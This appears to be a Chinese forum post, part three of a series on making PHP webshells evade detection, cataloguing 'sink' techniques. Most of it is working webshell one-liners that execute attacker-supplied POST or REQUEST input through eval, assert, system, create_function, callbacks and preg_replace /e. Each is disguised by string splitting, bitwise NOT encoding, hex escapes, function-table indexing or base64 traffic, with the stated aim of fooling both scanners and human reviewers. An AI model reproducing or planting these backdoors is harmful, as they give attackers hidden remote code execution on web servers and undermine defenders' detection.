shell免杀要点(第三部分sink)

此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。

大概如下四部分:

1、source

2、数据流

3、sink

4、面向人的免杀

这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。

sink

代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。

动态调用-字符串

字符串拼接

$func = 'as'.'sert';
$func($_POST[1]);

字符串分割

<?php
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
?>

各种运算-异或

<?php
// $func = urlencode(~("assert"));
// print($func);//%9E%8C%8C%9A%8D%8B
$func = "%9E%8C%8C%9A%8D%8B";
$func = ~urldecode($func);

$func($_POST[1]);
?>

eval、assert同效果

回调函数

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

文件包含

include('1.txt')

双引号

$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";

ob_start

<?php
$func = "system";
$cmd = $_POST[1];
ob_start($func);
echo $cmd;
ob_end_flush();
?>

create_function

<?php
$code = $_POST[1];
create_function('','1;}eval("'.$code.'");/*');
?>

二阶获取sink

数组

<?php
$item['func'] = 'assert';
$item['func']($_POST[1]);
?>

二维数组

<?php
$item['func'] = 'assert';
$array[] = $item;
$array[0]['func']($_POST[1]);
?>

get_defined_functions

<?php

$arr = get_defined_functions()['internal'];

print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850

$arr[841]($_POST[1]);

编码

php7

<?php
"\x61\x73\x73\x65\x72\x74"($_POST[1]);
?>

语法

斜杠

php5.3测试成功

<?php
@eval\($_POST['code']);
?>

preg_replace-@

5.5
7.0
不再支持/e

<?php
@preg_replace('@(.*)@e','\\1',$_REQUEST[1]);
?>

流量

这块随便把流量编码或者加密

//1=cGhwaW5mbygpOw==
<?php
eval(base64_decode($_POST[1]));
?>

参考

maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia等发过的文章。

项目地址:

1 个赞